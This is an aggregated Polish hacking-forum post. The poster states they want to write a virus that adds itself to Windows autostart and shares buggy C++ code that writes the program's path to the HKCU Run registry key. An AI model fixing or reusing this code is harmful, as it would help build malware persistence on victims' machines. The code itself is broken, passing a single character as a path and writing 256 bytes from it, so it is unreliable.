Quantcast
Channel: HAKER - Forum Komputerowe
Viewing all articles
Browse latest Browse all 4549

[c++]Problem z kopiowaniem ścieżki programu do rejestru

$
0
0
Witam! Chcę zrobić wirus, który będzie dodawał się do autostartu. Na początku udało mi się to zrobić,ale przy podaniu ścieżki do programu w środku funkcji. Chcę, ażeby funkcja automatycznie pobierała ścieżkę programu. To udało mi się zrobić ale z niewiadomych powodów program cras***e się, a funkcja nie jest wykonana do końca. Oto kod programu:
Kod:

#include <iostream>
#include <windows.h>
#include <conio.h>

bool zainstaluj( char * miejsce, char sciezka )
{
    /* DODAWANIE DO REJESTRU */
    HKEY klucz;
    LONG Wynik;
    DWORD Nowy;
    const BYTE * lpData =( const BYTE * ) sciezka;
    Wynik = RegCreateKeyEx( HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, & klucz, & Nowy );
    if( Wynik == ERROR_SUCCESS )
    {
        RegSetValueEx( klucz, "autostart", 0, REG_SZ, lpData, 256 );
        RegCloseKey( klucz );
    }
    else
    {
        return false;
    }
    return true;
}


int main(int argc, char *argv[])
{
    char *sciezka = argv[0];
    std::cout << sciezka;
    bool powodzenie = zainstaluj("C:\\Users\\Karol\\Documents\\autostart.exe", *sciezka);
    std::cout << powodzenie;
    std::cout << sciezka;
    getch();
}


Viewing all articles
Browse latest Browse all 4549

Trending Articles


TRX Antek AVT - 2310 ver 2,0


Автовишка HAULOTTE HA 16 SPX


POTANIACZ


Zrób Sam - rocznik 1985 [PDF] [PL]


Maxgear opinie


BMW E61 2.5d błąd 43E2 - klapa gasząca a DPF


Eveline ➤ Matowe pomadki Velvet Matt Lipstick 500, 506, 5007


Auta / Cars (2006) PLDUB.BRRip.480p.XviD.AC3-LTN / DUBBING PL


Peugeot 508 problem z elektroniką


AŚ Jelenia Góra